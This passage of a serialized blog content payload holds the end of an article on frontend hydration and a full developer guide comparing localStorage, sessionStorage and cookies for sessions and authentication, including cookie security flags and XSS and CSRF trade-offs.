running. Consistency is the key to hydration.",[11,39931,39932],{},"Think of a weather app. If the server fetches data for London, but the client thinks it's in New York, the UI will clash. We solve this by passing the server's data down to the client as a \"payload.\"",[11,39934,39935],{},"This payload ensures the client doesn't have to fetch the data again. It just trusts what the server told it. \"The temperature is 15 degrees,\" says the server. \"Okay,\" says the client, \"I'll start with that.\"",[11,39937,39938],{},"Is hydration only for big frameworks? Theoretically, no. You could write manual hydration logic in vanilla JavaScript. You’d find elements by ID and attach listeners. But that would be a nightmare to maintain.",[11,39940,39941],{},"Frontend frameworks automate this. They handle the complex diffing and event delegation so you can focus on building features. They make the \"soul-to-body\" transition seamless for the developer.",[11,39943,39944],{},"Let’s look at another example: a live dashboard. The static HTML shows the last known stock prices. Once hydrated, a WebSocket connection kicks in and starts updating those prices in real-time.",[11,39946,39947],{},"Without hydration, the user would see the initial prices but they would never change. They’d have to refresh the page like it was 1995. Hydration is what makes the \"real-time\" web possible.",[11,39949,39950],{},"Have you ever noticed how some sites feel \"janky\" for a second? That's usually because the main thread is busy hydrating. The CPU is working hard to turn that static text into interactive components.",[11,39952,39953,39954,39957],{},"On low-end mobile devices, this is a major bottleneck. The ",[62,39955,39956],{},"Time to Interactive (TTI)"," metric measures this. A site might look ready in 1 second, but if it takes 5 seconds to hydrate, the user is frustrated.",[29,39959,39961],{"id":39960},"the-lazy-hydration","The Lazy Hydration",[11,39963,39964,39965,39968],{},"This is why we talk about ",[62,39966,39967],{},"Lazy Hydration",". We can tell the browser: \"Don't worry about the footer yet. Only hydrate the header and the main content because that's what the user sees.\" You must have experienced this in websites.",[11,39970,39971],{},"By prioritizing what the user can see, we make the app feel faster than it actually is. It’s a form of digital sleight of hand. We manage the user's perception of speed through clever scheduling.",[11,39973,39974,39975,39978],{},"What does the future hold? We are seeing the rise of ",[62,39976,39977],{},"Server Components."," In this model, some parts of your UI stay on the server forever. They never send JavaScript to the client.",[11,39980,39981],{},"Imagine a complex data table that only displays information. In the old way, we'd hydrate the whole table. In the new way, we send the HTML and zero JavaScript. The hydration cost becomes zero.",[11,39983,39984],{},"This is a massive shift. It acknowledges that not everything on a webpage needs to be smart. Sometimes, a button is just a link, and a table is just a list of rows. Less is more.",[11,39986,39987],{},"If you are a Frontend developer, you are already standing on the shoulders of giants. The framework handles the \"Why\" and \"How\" of hydration for you, but understanding it makes you a better architect. This applies whether you are studying hydration in react, vue or building with hydration in next, nuxt js.",[11,39989,39990],{},"You start to see your components as two-sided coins. One side is the HTML representation for the server; the other side is the interactive logic for the client. Both must exist in harmony.",[29,39992,39994],{"id":39993},"hydration-in-action","Hydration in Action",[11,39996,39997],{},"Do you want to see hydration in action? Open your browser's developer tools and disable JavaScript. Refresh the page. What you see is the \"pre-hydrated\" state. It’s the skeleton of your site.",[11,39999,40000],{},"Now, re-enable JavaScript. Watch the console. See how the page suddenly gains its capabilities. That transition is the magic of the modern web. It is the reason our digital world feels so responsive.",[29,40002,21243],{"id":21242},[11,40004,40005],{},"So, why does hydration exist? It exists because we refuse to choose between speed and power. We want the instant gratification of a static document and the infinite potential of a software application.",[11,40007,40008],{},"It is the bridge across the performance chasm. It is the technique that allows a simple browser to feel like a high-end operating system. It is, quite literally, what makes the web \"fluid.\"",[11,40010,40011],{},"Next time you build a component, ask yourself: \"What does this look like before the soul enters the body?\" If the answer is \"nothing,\" you might want to rethink your server side rendering strategy.",[11,40013,40014],{},"Hydration is more than a technical term; it's a philosophy of balance. It's about respecting the user's time by showing them content early, and respecting their needs by giving them interaction later.",[11,40016,40017],{},"We are the curators of this experience. Every kilobyte of JavaScript we add is a tax on the hydration process. Our job is to keep the water flowing smoothly without drowning the user's device.",[11,40019,40020],{},"So you ready to optimize your hydration? Start by looking at your bundles. Use tools like the Nuxt Bundle Analyzer to see what's being sent to the client. Every small win counts for your users.",[11,40022,40023],{},"The web is a living thing. Hydration is its heartbeat. By mastering this concept, whether through hydration in react, hydration in next js, or plain javascript hydration, you aren't just writing code; you are bringing digital experiences to life.",{"title":128,"searchDepth":149,"depth":149,"links":40025},[40026,40027,40028,40029,40030],{"id":39820,"depth":149,"text":39821},{"id":39899,"depth":149,"text":39900},{"id":39960,"depth":149,"text":39961},{"id":39993,"depth":149,"text":39994},{"id":21242,"depth":149,"text":21243},"2026-05-14","A detailed article on hydration in frontend web development, exploring its necessity, mechanics, and real-world implications","hydration-in-frontend-frameworks.png",{},"/frontend/hydration-in-frontend-frameworks",{"title":39796,"description":40032},"Frontend/2.hydration-in-frontend-frameworks",[21527,40039,40040,40041,40042],"React","Next.js","Vue","Nuxt.js","QIqLRwxgtUJrbUCXe_QKZny0PBB74tI8XoSGgSWTlhU",{"id":40045,"title":40046,"author":6,"body":40047,"date":41180,"description":41181,"draft":21517,"extension":21518,"guide":21519,"image":41182,"meta":41183,"navigation":189,"path":41184,"seo":41185,"stem":41186,"tags":41187,"__hash__":41193},"blog/Backend/4.local-storage-vs-session-storage-vs-cookies.md","Local Storage vs Session Storage vs Cookies: Sessions and Cookies Explained Without the Drama",{"type":8,"value":40048,"toc":41165},[40049,40052,40055,40058,40067,40074,40078,40084,40205,40211,40214,40217,40221,40227,40240,40243,40263,40266,40277,40280,40284,40287,40290,40301,40304,40313,40323,40327,40330,40428,40431,40440,40443,40446,40450,40456,40518,40521,40524,40541,40544,40558,40563,40587,40590,40597,40601,40607,40673,40679,40682,40699,40702,40711,40717,40721,40726,40734,40737,40777,40780,40783,40794,40798,40801,40808,40811,40814,40817,40884,40887,40916,40919,40929,40939,40942,40946,40953,40966,40971,40976,40981,40984,40987,41047,41050,41054,41057,41064,41067,41070,41075,41080,41091,41094,41098,41101,41107,41118,41121,41124,41128,41134,41148,41151,41154,41162],[11,40050,40051],{},"A login bug can eat your team's afternoon as snacks before they realizes the problem is sitting in plain sight.",[11,40053,40054],{},"The app works perfectly in one browser suppose Chrome. Fails mysteriously in another e.g. Safari. Works again in incognito. Then breaks again after refresh. Someone blames CORS, someone blames the backend, and eventually someone opens DevTools and says, \"Wait, why are we storing this token in three different places?\"",[11,40056,40057],{},"That was the whole problem.",[11,40059,40060,40061,40063,40064,40066],{},"Browser storage looks simple until it becomes part of your auth model. A little ",[18,40062,6033],{}," here, a cookie there, maybe ",[18,40065,15973],{}," for temporary stuff, and suddenly nobody knows where the truth lives.",[11,40068,40069,40070,40073],{},"So let's talk like developers, not textbook authors: ",[62,40071,40072],{},"local storage vs session storage vs cookies",", what each one actually does, where sessions fit in, and how you should choose between them without overengineering your app into a security-themed escape room.",[29,40075,40077],{"id":40076},"the-short-version-first","The Short Version First",[11,40079,40080,40081,40083],{},"If you're comparing ",[62,40082,40072],{},", here's the TL;DR:",[479,40085,40086,40102],{},[482,40087,40088],{},[485,40089,40090,40093,40096,40099],{},[488,40091,40092],{},"Feature",[488,40094,40095],{},"local storage",[488,40097,40098],{},"session storage",[488,40100,40101],{},"cookies",[498,40103,40104,40123,40137,40148,40163,40176,40190],{},[485,40105,40106,40109,40113,40117],{},[503,40107,40108],{},"Browser API",[503,40110,40111],{},[18,40112,6033],{},[503,40114,40115],{},[18,40116,15973],{},[503,40118,40119,40122],{},[18,40120,40121],{},"document.cookie",", server headers",[485,40124,40125,40128,40131,40134],{},[503,40126,40127],{},"Lifetime",[503,40129,40130],{},"Until manually cleared",[503,40132,40133],{},"Until tab or browser session ends",[503,40135,40136],{},"Based on expiration settings",[485,40138,40139,40142,40144,40146],{},[503,40140,40141],{},"Sent to server automatically",[503,40143,5999],{},[503,40145,5999],{},[503,40147,3298],{},[485,40149,40150,40153,40155,40157],{},[503,40151,40152],{},"Accessible from JavaScript",[503,40154,3298],{},[503,40156,3298],{},[503,40158,40159,40160],{},"Yes, unless ",[18,40161,40162],{},"HttpOnly",[485,40164,40165,40168,40171,40173],{},[503,40166,40167],{},"Typical size limit",[503,40169,40170],{},"Around 5 to 10 MB",[503,40172,40170],{},[503,40174,40175],{},"Around 4 KB per cookie",[485,40177,40178,40181,40184,40187],{},[503,40179,40180],{},"Best for",[503,40182,40183],{},"Non-sensitive preferences, UI state",[503,40185,40186],{},"Temporary tab-level state",[503,40188,40189],{},"Sessions, server-readable auth, tracking consent",[485,40191,40192,40195,40198,40200],{},[503,40193,40194],{},"Biggest risk",[503,40196,40197],{},"XSS can read it",[503,40199,40197],{},[503,40201,40202,40203],{},"CSRF if misconfigured, XSS if not ",[18,40204,40162],{},[11,40206,40207,40208,40210],{},"My opinion: if it's an authentication secret, don't casually toss it into ",[18,40209,6033],{}," because a tutorial did it in 2018.",[11,40212,40213],{},"Convenient? Yes.",[11,40215,40216],{},"Secure by default? Not really.",[29,40218,40220],{"id":40219},"what-are-sessions-really","What Are Sessions, Really?",[11,40222,3374,40223,40226],{},[62,40224,40225],{},"session"," is the server's way of remembering that \"this request belongs to that user.\"",[11,40228,40229,40230,40232,40233,40232,40236,40239],{},"HTTP itself is stateless. Your browser asks for ",[18,40231,14525],{},", then ",[18,40234,40235],{},"/settings",[18,40237,40238],{},"/api/invoices",", and the server doesn't naturally remember that those requests came from the same logged-in person. A session fills that gap.",[11,40241,40242],{},"In a classic session-based setup:",[14180,40244,40245,40248,40251,40254,40257,40260],{},[59,40246,40247],{},"You log in with your email and password.",[59,40249,40250],{},"The server checks your credentials.",[59,40252,40253],{},"The server creates a session record, often in Redis, a database, or memory.",[59,40255,40256],{},"The server sends your browser a cookie containing a random session ID.",[59,40258,40259],{},"On later requests, the browser sends that cookie back automatically.",[59,40261,40262],{},"The server looks up the session ID and knows who you are.",[11,40264,40265],{},"Notice the cookie doesn't need to contain your name, role, or permissions. It can just hold a boring random identifier like:",[123,40267,40271],{"className":40268,"code":40269,"language":40270,"meta":128,"style":128},"language-txt shiki shiki-themes github-dark","sid=s%3A4f8a92c7d1e0...\n","txt",[18,40272,40273],{"__ignoreMap":128},[132,40274,40275],{"class":134,"line":135},[132,40276,40269],{},[11,40278,40279],{},"Boring is good here. Boring is underrated in security.",[29,40281,40283],{"id":40282},"cookies-small-old-weird-still-very-useful","Cookies: Small, Old, Weird, Still Very Useful",[11,40285,40286],{},"Cookies have been around forever, so they come with some baggage. But they're still the browser's native way to send small bits of data back to the server on every matching request.",[11,40288,40289],{},"The server can set a cookie like this:",[123,40291,40295],{"className":40292,"code":40293,"language":40294,"meta":128,"style":128},"language-http shiki shiki-themes github-dark","Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600\n","http",[18,40296,40297],{"__ignoreMap":128},[132,40298,40299],{"class":134,"line":135},[132,40300,40293],{},[11,40302,40303],{},"After that, the browser automatically includes it:",[123,40305,40307],{"className":40292,"code":40306,"language":40294,"meta":128,"style":128},"Cookie: session_id=abc123\n",[18,40308,40309],{"__ignoreMap":128},[132,40310,40311],{"class":134,"line":135},[132,40312,40306],{},[11,40314,40315,40316,40318,40319,1334,40321,385],{},"You don't manually attach it from frontend JavaScript. That's the main difference between ",[62,40317,40101],{}," and Web Storage APIs like ",[18,40320,6033],{},[18,40322,15973],{},[34,40324,40326],{"id":40325},"cookie-flags-you-should-actually-care-about","Cookie Flags You Should Actually Care About",[11,40328,40329],{},"Some cookie flags are not optional decoration. They're the difference between \"fine for production\" and \"please don't ship that.\"",[479,40331,40332,40342],{},[482,40333,40334],{},[485,40335,40336,40339],{},[488,40337,40338],{},"Flag",[488,40340,40341],{},"What it does",[498,40343,40344,40353,40363,40373,40383,40395,40408,40418],{},[485,40345,40346,40350],{},[503,40347,40348],{},[18,40349,40162],{},[503,40351,40352],{},"Prevents JavaScript from reading the cookie",[485,40354,40355,40360],{},[503,40356,40357],{},[18,40358,40359],{},"Secure",[503,40361,40362],{},"Sends the cookie only over HTTPS",[485,40364,40365,40370],{},[503,40366,40367],{},[18,40368,40369],{},"SameSite=Lax",[503,40371,40372],{},"Helps reduce CSRF risk for normal navigation",[485,40374,40375,40380],{},[503,40376,40377],{},[18,40378,40379],{},"SameSite=Strict",[503,40381,40382],{},"Stronger CSRF protection, but can break cross-site flows",[485,40384,40385,40390],{},[503,40386,40387],{},[18,40388,40389],{},"SameSite=None",[503,40391,40392,40393],{},"Allows cross-site cookies, requires ",[18,40394,40359],{},[485,40396,40397,40405],{},[503,40398,40399,1334,40402],{},[18,40400,40401],{},"Max-Age",[18,40403,40404],{},"Expires",[503,40406,40407],{},"Controls how long the cookie lives",[485,40409,40410,40415],{},[503,40411,40412],{},[18,40413,40414],{},"Path",[503,40416,40417],{},"Limits where the cookie is sent",[485,40419,40420,40425],{},[503,40421,40422],{},[18,40423,40424],{},"Domain",[503,40426,40427],{},"Controls which hostnames receive the cookie",[11,40429,40430],{},"For login sessions, a strong default often looks like this:",[123,40432,40434],{"className":40292,"code":40433,"language":40294,"meta":128,"style":128},"Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400\n",[18,40435,40436],{"__ignoreMap":128},[132,40437,40438],{"class":134,"line":135},[132,40439,40433],{},[11,40441,40442],{},"Can cookies be annoying with CORS, subdomains, mobile WebViews, and third-party browser rules? Absolutely.",[11,40444,40445],{},"But for server-managed sessions, they're still usually the grown-up choice.",[29,40447,40449],{"id":40448},"local-storage-persistent-simple-and-too-easy-to-misuse","Local Storage: Persistent, Simple, and Too Easy to Misuse",[11,40451,40452,40455],{},[62,40453,40454],{},"Local storage"," is part of the Web Storage API. It stores key-value pairs in the browser with no automatic expiration.",[123,40457,40459],{"className":388,"code":40458,"language":390,"meta":128,"style":128},"localStorage.setItem('theme', 'dark')\nlocalStorage.setItem('sidebar', 'collapsed')\n\nconst theme = localStorage.getItem('theme')\n",[18,40460,40461,40478,40496,40500],{"__ignoreMap":128},[132,40462,40463,40466,40468,40470,40472,40474,40476],{"class":134,"line":135},[132,40464,40465],{"class":138},"localStorage.",[132,40467,16186],{"class":158},[132,40469,243],{"class":138},[132,40471,10113],{"class":165},[132,40473,581],{"class":138},[132,40475,6197],{"class":165},[132,40477,249],{"class":138},[132,40479,40480,40482,40484,40486,40489,40491,40494],{"class":134,"line":149},[132,40481,40465],{"class":138},[132,40483,16186],{"class":158},[132,40485,243],{"class":138},[132,40487,40488],{"class":165},"'sidebar'",[132,40490,581],{"class":138},[132,40492,40493],{"class":165},"'collapsed'",[132,40495,249],{"class":138},[132,40497,40498],{"class":134,"line":176},[132,40499,190],{"emptyLinePlaceholder":189},[132,40501,40502,40504,40506,40508,40510,40512,40514,40516],{"class":134,"line":186},[132,40503,230],{"class":209},[132,40505,10094],{"class":233},[132,40507,237],{"class":209},[132,40509,16121],{"class":138},[132,40511,16124],{"class":158},[132,40513,243],{"class":138},[132,40515,10113],{"class":165},[132,40517,249],{"class":138},[11,40519,40520],{},"Close the tab, restart the browser, come back next week, and the data is probably still there unless the user cleared site data or the browser evicted it.",[11,40522,40523],{},"That's perfect for things like:",[56,40525,40526,40529,40532,40535,40538],{},[59,40527,40528],{},"Theme preference",[59,40530,40531],{},"Draft UI state",[59,40533,40534],{},"Recently selected filters",[59,40536,40537],{},"Non-sensitive feature flags",[59,40539,40540],{},"Cached public data",[11,40542,40543],{},"It's less perfect for:",[56,40545,40546,40549,40552,40555],{},[59,40547,40548],{},"Access tokens",[59,40550,40551],{},"Refresh tokens",[59,40553,40554],{},"Passwords, yes, people still try this",[59,40556,40557],{},"Anything you'd panic about seeing in a bug report screenshot",[11,40559,40560,40561,385],{},"Here's the uncomfortable bit: if an attacker gets JavaScript running on your page through XSS, they can read ",[18,40562,6033],{},[123,40564,40566],{"className":388,"code":40565,"language":390,"meta":128,"style":128},"const token = localStorage.getItem('access_token')\n",[18,40567,40568],{"__ignoreMap":128},[132,40569,40570,40572,40574,40576,40578,40580,40582,40585],{"class":134,"line":135},[132,40571,230],{"class":209},[132,40573,16064],{"class":233},[132,40575,237],{"class":209},[132,40577,16121],{"class":138},[132,40579,16124],{"class":158},[132,40581,243],{"class":138},[132,40583,40584],{"class":165},"'access_token'",[132,40586,249],{"class":138},[11,40588,40589],{},"That's it. No clever exploit chain needed.",[11,40591,40592,40593,40596],{},"So when people search for ",[62,40594,40595],{},"localstorage vs sessionstorage",", they're often really asking, \"Which one is safer for tokens?\" The honest answer is: neither is magic. Both are readable by JavaScript.",[29,40598,40600],{"id":40599},"session-storage-like-local-storage-but-tab-scoped","Session Storage: Like Local Storage, But Tab-Scoped",[11,40602,40603,40606],{},[62,40604,40605],{},"Session storage"," also stores key-value pairs, but it lives for the lifetime of a page session. In plain English: usually one browser tab.",[123,40608,40610],{"className":388,"code":40609,"language":390,"meta":128,"style":128},"sessionStorage.setItem('checkoutStep', 'payment')\nsessionStorage.setItem('returnTo', '/pricing')\n\nconst step = sessionStorage.getItem('checkoutStep')\n",[18,40611,40612,40631,40649,40653],{"__ignoreMap":128},[132,40613,40614,40617,40619,40621,40624,40626,40629],{"class":134,"line":135},[132,40615,40616],{"class":138},"sessionStorage.",[132,40618,16186],{"class":158},[132,40620,243],{"class":138},[132,40622,40623],{"class":165},"'checkoutStep'",[132,40625,581],{"class":138},[132,40627,40628],{"class":165},"'payment'",[132,40630,249],{"class":138},[132,40632,40633,40635,40637,40639,40642,40644,40647],{"class":134,"line":149},[132,40634,40616],{"class":138},[132,40636,16186],{"class":158},[132,40638,243],{"class":138},[132,40640,40641],{"class":165},"'returnTo'",[132,40643,581],{"class":138},[132,40645,40646],{"class":165},"'/pricing'",[132,40648,249],{"class":138},[132,40650,40651],{"class":134,"line":176},[132,40652,190],{"emptyLinePlaceholder":189},[132,40654,40655,40657,40660,40662,40665,40667,40669,40671],{"class":134,"line":186},[132,40656,230],{"class":209},[132,40658,40659],{"class":233}," step",[132,40661,237],{"class":209},[132,40663,40664],{"class":138}," sessionStorage.",[132,40666,16124],{"class":158},[132,40668,243],{"class":138},[132,40670,40623],{"class":165},[132,40672,249],{"class":138},[11,40674,40675,40676,40678],{},"Open the same app in another tab, and that tab gets its own ",[18,40677,15973],{},". Close the tab, and the data disappears.",[11,40680,40681],{},"That's useful for short-lived state:",[56,40683,40684,40687,40690,40693,40696],{},[59,40685,40686],{},"Multi-step form progress",[59,40688,40689],{},"Checkout flow state",[59,40691,40692],{},"OAuth return paths",[59,40694,40695],{},"Temporary search filters",[59,40697,40698],{},"Tab-specific UI state",[11,40700,40701],{},"Would I store a long-lived auth token there? No.",[11,40703,40704,40705,40707,40708,40710],{},"Would I use ",[18,40706,15973],{}," for a one-time OAuth ",[18,40709,3525],{}," value or a short return URL during login? Sure, if the flow fits.",[11,40712,40713,40714,40716],{},"The key detail: ",[62,40715,40098],{}," is not \"server session storage.\" The name confuses people. It has nothing to do with backend sessions unless you deliberately connect the two in your app logic.",[29,40718,40720],{"id":40719},"local-storage-vs-session-storage-the-real-difference","Local Storage vs Session Storage: The Real Difference",[11,40722,1543,40723,40725],{},[62,40724,40595],{}," debate is mostly about lifetime and scope.",[11,40727,40728,40730,40731,40733],{},[18,40729,6033],{}," is persistent across tabs and browser restarts. ",[18,40732,15973],{}," is scoped to a tab and cleared when that tab's page session ends.",[11,40735,40736],{},"Try this in DevTools:",[123,40738,40740],{"className":388,"code":40739,"language":390,"meta":128,"style":128},"localStorage.setItem('demo', 'still here later')\nsessionStorage.setItem('demo', 'gone when tab closes')\n",[18,40741,40742,40760],{"__ignoreMap":128},[132,40743,40744,40746,40748,40750,40753,40755,40758],{"class":134,"line":135},[132,40745,40465],{"class":138},[132,40747,16186],{"class":158},[132,40749,243],{"class":138},[132,40751,40752],{"class":165},"'demo'",[132,40754,581],{"class":138},[132,40756,40757],{"class":165},"'still here later'",[132,40759,249],{"class":138},[132,40761,40762,40764,40766,40768,40770,40772,40775],{"class":134,"line":149},[132,40763,40616],{"class":138},[132,40765,16186],{"class":158},[132,40767,243],{"class":138},[132,40769,40752],{"class":165},[132,40771,581],{"class":138},[132,40773,40774],{"class":165},"'gone when tab closes'",[132,40776,249],{"class":138},[11,40778,40779],{},"Now duplicate the tab, close tabs, reopen the browser, and watch what survives.",[11,40781,40782],{},"That's the practical difference. Not encryption. Not authorization. Not some hidden security boundary you can build your whole auth system around.",[11,40784,40785,40786,40789,40790,40793],{},"Both store strings. Both are accessible from JavaScript. Both are same-origin scoped, which means ",[18,40787,40788],{},"https://app.example.com"," can't read storage from ",[18,40791,40792],{},"https://admin.example.com"," unless your architecture intentionally puts them under the same origin.",[29,40795,40797],{"id":40796},"cookies-vs-web-storage-the-big-architectural-choice","Cookies vs Web Storage: The Big Architectural Choice",[11,40799,40800],{},"Here's where developers get tripped up.",[11,40802,40803,592,40805,40807],{},[18,40804,6033],{},[18,40806,15973],{}," are frontend storage. Your JavaScript reads and writes them. The browser does not automatically send them to your backend.",[11,40809,40810],{},"Cookies are request storage. The browser automatically sends them to matching server requests.",[11,40812,40813],{},"That one distinction changes everything.",[11,40815,40816],{},"With local storage:",[123,40818,40820],{"className":388,"code":40819,"language":390,"meta":128,"style":128},"const token = localStorage.getItem('access_token')\n\nfetch('/api/me', {\n  headers: {\n    Authorization: `Bearer ${token}`,\n  },\n})\n",[18,40821,40822,40840,40844,40855,40860,40875,40880],{"__ignoreMap":128},[132,40823,40824,40826,40828,40830,40832,40834,40836,40838],{"class":134,"line":135},[132,40825,230],{"class":209},[132,40827,16064],{"class":233},[132,40829,237],{"class":209},[132,40831,16121],{"class":138},[132,40833,16124],{"class":158},[132,40835,243],{"class":138},[132,40837,40584],{"class":165},[132,40839,249],{"class":138},[132,40841,40842],{"class":134,"line":149},[132,40843,190],{"emptyLinePlaceholder":189},[132,40845,40846,40848,40850,40853],{"class":134,"line":176},[132,40847,21046],{"class":158},[132,40849,243],{"class":138},[132,40851,40852],{"class":165},"'/api/me'",[132,40854,15021],{"class":138},[132,40856,40857],{"class":134,"line":186},[132,40858,40859],{"class":138},"  headers: {\n",[132,40861,40862,40865,40868,40871,40873],{"class":134,"line":193},[132,40863,40864],{"class":138},"    Authorization: ",[132,40866,40867],{"class":165},"`Bearer ${",[132,40869,40870],{"class":138},"token",[132,40872,6400],{"class":165},[132,40874,2377],{"class":138},[132,40876,40877],{"class":134,"line":206},[132,40878,40879],{"class":138},"  },\n",[132,40881,40882],{"class":134,"line":222},[132,40883,3156],{"class":138},[11,40885,40886],{},"With cookies:",[123,40888,40890],{"className":388,"code":40889,"language":390,"meta":128,"style":128},"fetch('/api/me', {\n  credentials: 'include',\n})\n",[18,40891,40892,40902,40912],{"__ignoreMap":128},[132,40893,40894,40896,40898,40900],{"class":134,"line":135},[132,40895,21046],{"class":158},[132,40897,243],{"class":138},[132,40899,40852],{"class":165},[132,40901,15021],{"class":138},[132,40903,40904,40907,40910],{"class":134,"line":149},[132,40905,40906],{"class":138},"  credentials: ",[132,40908,40909],{"class":165},"'include'",[132,40911,2377],{"class":138},[132,40913,40914],{"class":134,"line":176},[132,40915,3156],{"class":138},[11,40917,40918],{},"The first style is common in API-heavy SPAs. The second style is common in server-backed web apps and BFF architectures, where BFF means Backend for Frontend.",[11,40920,40921,40922,40924,40925,40928],{},"Neither pattern is automatically perfect. Token-in-header avoids some CSRF problems but exposes tokens to JavaScript if stored poorly. Cookie-based auth can protect the session ID with ",[18,40923,40162],{},", but you need to configure ",[18,40926,40927],{},"SameSite",", CSRF defenses, and CORS carefully.",[40930,40931,40932],"blockquote",{},[11,40933,40934,40935,385],{},"Related read: if you're using JWTs in either of these patterns, the storage decision matters a lot. I break down token structure, signing, expiry, and safer storage choices in ",[23,40936,40938],{"href":40937},"/post/everything-about-json-web-tokens-explained","Everything You Actually Need to Know About JWT",[11,40940,40941],{},"Pick your tradeoff consciously.",[29,40943,40945],{"id":40944},"practical-recommendations-i-actually-use","Practical Recommendations I Actually Use",[11,40947,40948,40949,40952],{},"For most traditional web apps, I prefer ",[62,40950,40951],{},"HttpOnly, Secure, SameSite cookies"," with server-side sessions. It's boring, proven, and easy to reason about.",[11,40954,40955,40956,40958,40959,40961,40962,40965],{},"For SPAs talking to APIs, I still try to avoid long-lived tokens in ",[18,40957,6033],{},". If the backend can issue an ",[18,40960,40162],{}," cookie and expose a clean ",[18,40963,40964],{},"/api/me"," endpoint, that's usually nicer than making the frontend babysit secrets.",[11,40967,4110,40968,40970],{},[62,40969,40095],{}," for durable, non-sensitive client preferences.",[11,40972,4110,40973,40975],{},[62,40974,40098],{}," for temporary, tab-level workflow state.",[11,40977,4110,40978,40980],{},[62,40979,40101],{}," when the server needs to receive a small value automatically, especially for sessions.",[11,40982,40983],{},"Use a server-side session store when you want revocation, forced logout, device management, or \"log out everywhere\" to behave reliably.",[11,40985,40986],{},"And please don't store this:",[123,40988,40990],{"className":388,"code":40989,"language":390,"meta":128,"style":128},"localStorage.setItem('user', JSON.stringify({\n  email: 'dev@example.com',\n  role: 'admin',\n  token: 'super-secret-refresh-token',\n}))\n",[18,40991,40992,41012,41022,41032,41042],{"__ignoreMap":128},[132,40993,40994,40996,40998,41000,41002,41004,41006,41008,41010],{"class":134,"line":135},[132,40995,40465],{"class":138},[132,40997,16186],{"class":158},[132,40999,243],{"class":138},[132,41001,13830],{"class":165},[132,41003,581],{"class":138},[132,41005,16145],{"class":233},[132,41007,385],{"class":138},[132,41009,16199],{"class":158},[132,41011,4542],{"class":138},[132,41013,41014,41017,41020],{"class":134,"line":149},[132,41015,41016],{"class":138},"  email: ",[132,41018,41019],{"class":165},"'dev@example.com'",[132,41021,2377],{"class":138},[132,41023,41024,41027,41030],{"class":134,"line":176},[132,41025,41026],{"class":138},"  role: ",[132,41028,41029],{"class":165},"'admin'",[132,41031,2377],{"class":138},[132,41033,41034,41037,41040],{"class":134,"line":186},[132,41035,41036],{"class":138},"  token: ",[132,41038,41039],{"class":165},"'super-secret-refresh-token'",[132,41041,2377],{"class":138},[132,41043,41044],{"class":134,"line":193},[132,41045,41046],{"class":138},"}))\n",[11,41048,41049],{},"It feels productive in the moment. It ages badly.",[29,41051,41053],{"id":41052},"a-simple-decision-guide","A Simple Decision Guide",[11,41055,41056],{},"Ask yourself one question first: who needs this data?",[11,41058,41059,41060,1334,41062,385],{},"If only the browser UI needs it, choose ",[18,41061,6033],{},[18,41063,15973],{},[11,41065,41066],{},"If the server needs it on every request, cookies are probably a better fit.",[11,41068,41069],{},"If the data is sensitive, don't store it somewhere JavaScript can casually read it.",[11,41071,41072,41073,385],{},"If the data should disappear when the tab closes, use ",[62,41074,40098],{},[11,41076,41077,41078,385],{},"If it should survive browser restarts, use ",[62,41079,40095],{},[11,41081,41082,41083,581,41085,41087,41088,41090],{},"If it represents a logged-in user session, strongly consider a cookie-backed session with ",[18,41084,40162],{},[18,41086,40359],{},", and a sane ",[18,41089,40927],{}," value.",[11,41092,41093],{},"That's the whole game. Not simple, exactly, but manageable.",[29,41095,41097],{"id":41096},"common-mistakes-worth-avoiding","Common Mistakes Worth Avoiding",[11,41099,41100],{},"The first mistake is treating browser storage like a database. It's not. Users can clear it, browsers can evict it, private browsing changes behavior, and extensions can make your assumptions look silly.",[11,41102,41103,41104,41106],{},"The second mistake is storing sensitive auth data in ",[18,41105,6033],{}," because \"JWTs are stateless.\" Stateless doesn't mean harmless. A stolen token is still a stolen token.",[11,41108,41109,41110,581,41112,41114,41115,41117],{},"The third mistake is assuming cookies are automatically secure. A cookie without ",[18,41111,40162],{},[18,41113,40359],{},", and thoughtful ",[18,41116,40927],{}," settings is just a tiny text file with confidence issues.",[11,41119,41120],{},"The fourth mistake is mixing all three storage types for the same responsibility. If login state lives partly in a cookie, partly in local storage, and partly in session storage, debugging logout will become your new personality.",[11,41122,41123],{},"Keep one source of truth.",[29,41125,41127],{"id":41126},"final-take","Final Take",[11,41129,41130,41131,41133],{},"The best answer to ",[62,41132,40072],{}," is not \"always use X.\" That's a lazy answer.",[11,41135,4110,41136,41138,41139,41141,41142,41144,41145,385],{},[62,41137,40095],{}," when you need persistent client-side convenience. Use ",[62,41140,40098],{}," when the data should be temporary and tab-specific. Use ",[62,41143,40101],{}," when the browser and server need to cooperate on requests, especially around ",[62,41146,41147],{},"sessions",[11,41149,41150],{},"And when authentication is involved, get a little more boring than your instincts want you to be.",[11,41152,41153],{},"Boring auth is usually good auth.",[40930,41155,41156],{},[11,41157,41158,41159,385],{},"Want a quick interview-style version of this topic? See question 73 in ",[23,41160,41161],{"href":25},"Top 100 Frontend Interview Questions and Answers",[303,41163,41164],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}",{"title":128,"searchDepth":149,"depth":149,"links":41166},[41167,41168,41169,41172,41173,41174,41175,41176,41177,41178,41179],{"id":40076,"depth":149,"text":40077},{"id":40219,"depth":149,"text":40220},{"id":40282,"depth":149,"text":40283,"children":41170},[41171],{"id":40325,"depth":176,"text":40326},{"id":40448,"depth":149,"text":40449},{"id":40599,"depth":149,"text":40600},{"id":40719,"depth":149,"text":40720},{"id":40796,"depth":149,"text":40797},{"id":40944,"depth":149,"text":40945},{"id":41052,"depth":149,"text":41053},{"id":41096,"depth":149,"text":41097},{"id":41126,"depth":149,"text":41127},"2026-05-07","A practical developer guide to local storage vs session storage vs cookies, including sessions, cookies, localStorage, sessionStorage, security 